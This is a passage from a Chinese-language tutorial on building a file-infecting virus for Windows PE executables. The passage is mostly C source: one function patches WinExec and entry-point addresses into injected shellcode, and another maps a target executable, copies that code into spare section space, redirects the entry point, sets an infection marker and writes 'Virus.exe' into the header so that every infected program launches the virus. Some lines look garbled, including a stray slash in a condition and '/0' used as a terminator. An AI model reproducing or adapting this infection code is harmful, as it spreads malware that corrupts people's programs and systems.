从(一)中建立了初步的注入代码后,需要把用来占位的11223344H改为相应的地址,用一个函数来完成.
-
- int BuildInjectCode(DWORD OEP, DWORD VEP, DWORD ImageBase)
- {
- unsigned char *p = InjectCode;
- *(DWORD *)(p + 1) = VEP + ImageBase + 0x2B;
- *(DWORD *)(p + 15) = ImageBase + 0x53;
- *(DWORD *)(p + 20) = aWinExec;
- *(DWORD *)(p + 37) = OEP + ImageBase;
- *(DWORD *)(p + 43) = OEP + ImageBase;
-
- return 0x3E;
- }
利用Windows搜索文件的特点,如果将病毒放在System32文件夹下,那么,WinExec路径参数只需传递病毒文件名即可(如Virus.exe).
打开文件进行注入感染,过程是:CreateFile()->CreateFileMapping()->MapViewOfFile()->InjectHelper()->UnMapViewOfFile(),CloseHandle().关键代码在于InjectHelper,是注入感染的帮助函数.用MapViewOfFile得到文件的内存指针,然后将指针传递给InjectHelper(),详细代码如下:
- void InjectHelper(char *Buff)
- {
-
- if (*(Buff + 0x4e) == 0x49
- || *(Buff + 0x4e) == 0x52
- || *(Buff + 0x4e) == 0x56)
- {
- return;
- }
-
- char *ptr = Buff, *Section;
- DWORD temp, OEP, VEP, ImageBase;
- int i, NumberOfSection, LengthOfInjectCode;
- if (*(WORD *)ptr != 0x5A4D) return;
- ptr += *(WORD *)(ptr + 0x3c);
- if (*(WORD *)ptr != 0x4550) return;
- temp = *(WORD *)(ptr + 0x5c);
- if (temp != 2 && temp != 3) return;
- OEP = *(DWORD *)(ptr + 0x28);
- Section = ptr + 0x100;
- NumberOfSection = *(WORD *)(ptr + 6);
- for(i = 0; i < NumberOfSection; i++)
- {
- if(*(DWORD *)(Section + 4) <= OEP /
- && *(DWORD *)Section + *(DWORD *)(Section + 4))
- break;
- Section += 0x28;
- }
- if (i >= NumberOfSection - 1)
- {
- return;
- }
- temp = *((DWORD *)Section + 8);
- if (*(DWORD *)Section < temp) temp = *(DWORD *)Section;
- VEP = *(DWORD *)(Section + 4) + temp;
- ImageBase = *(DWORD *)(ptr + 0x34);
- LengthOfInjectCode = BuildInjectCode(OEP, VEP, ImageBase);
- if (*(DWORD *)(Section + 0x28 + 0xc) <=
- temp + *(DWORD *)(Section + 0x0c) + LengthOfInjectCode)
- {
- return;
- }
- MoveMemory(Buff + temp + *(DWORD *)(Section +0x0c), InjectCode, LengthOfInjectCode);
- *(DWORD *)(ptr + 0x28) = VEP;
-
-
- *(Buff + 0x4e) = 0x49;
- *(Buff + 0x53) = 'V';
- *(Buff + 0x54) = 'i';
- *(Buff + 0x55) = 'r';
- *(Buff + 0x56) = 'u';
- *(Buff + 0x57) = 's';
- *(Buff + 0x58) = '.';
- *(Buff + 0x59) = 'e';
- *(Buff + 0x5a) = 'x';
- *(Buff + 0x5b) = 'e';
- *(Buff + 0x5c) = '/0';
-
- return;
- }
利用BYTE*指针(即char*指针)指向buffer来完成指针的移动操作比较容易理解,但是需要做大量的WORD和DWORD的转换,基本这样就完成了对一个文件的注入感染了.过程中没有引入PE文件头的各类结构,都是用指针定位,所以需要对PE结构有一定的理解.
To be continue...